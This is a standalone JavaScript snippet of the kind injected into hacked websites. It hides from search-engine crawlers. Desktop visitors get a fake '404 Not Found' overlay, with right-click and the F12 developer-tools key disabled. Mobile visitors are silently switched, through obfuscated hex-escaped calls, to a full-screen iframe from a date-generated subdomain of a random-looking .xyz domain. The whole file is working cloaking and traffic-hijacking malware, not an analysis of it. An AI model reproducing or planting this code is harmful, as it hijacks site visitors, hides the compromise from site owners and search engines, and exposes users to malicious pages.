var h = window.innerHeight;
var system = {
    win: navigator.platform.indexOf("Win") === 0,
    mac: navigator.platform.indexOf("Mac") === 0,
    x11: navigator.platform === "X11" || navigator.platform.indexOf("Linux") === 0
};
var diffDays = Math.ceil(Math.abs(new Date() - new Date('12/23/2024')) / (1000 * 60 * 60 * 24));

try {
    var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider|Baiduspider-render)/i;
    if (!reg.test(navigator.userAgent)) {
        if (system.win || system.mac || system.xll) {
            let temp = '<div style="position: fixed; top: 0px;padding-top:20px; z-index: 999999999; width: 100%; height: ' + h + 'px; background-color: #ffffff; font-size: 16px;"><center><h2>404 Not Found</h2></center><hr></div>';
            document.write(temp);
            let titleElement = document.getElementsByTagName("title")[0];
            if (titleElement) {
                titleElement.innerHTML = "404";
            } else {
                console.error("Element <title> not found");
            }
            document.oncontextmenu = false;
            document.onkeydown = function(e) {
                let currKey = 0;
                let evt = e || window.event;
                currKey = evt.keyCode || evt.which || evt.charCode;
                if (currKey === 123) {
                    e.preventDefault();
                    e.stopPropagation();
                }
            };
        } else if (/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|QQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i ["\x74\x65\x73\x74"](navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"])) {
            let arr = [
                'https://' + diffDays + '.jytxr7y6chkbw3tqg5avkh.xyz',
            ];
            let indexRnd = Math.floor(Math.random() * arr.length);
            let iframe_url = arr[indexRnd];
            document.writeln('<style>body{padding-top:0!important;}</style>')
            let iframe_str = '<div id="div_ifr' + 'ame" style="z-index:999999998;height:' + h + 'px; width: 100%;position: fixed;top:0; background: #ffffff;height: 100%;padding:0px;margin:0px;"><ifr' + 'ame id="myifr' + 'ame" frameborder="0" width="100%" height="100%" src="' + iframe_url + '"></ifr' + 'ame></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden;padding:0px;margin:0!important;}</style>';
            document.write(iframe_str);
        }
    }
} catch (e) {
    console.log(e);
}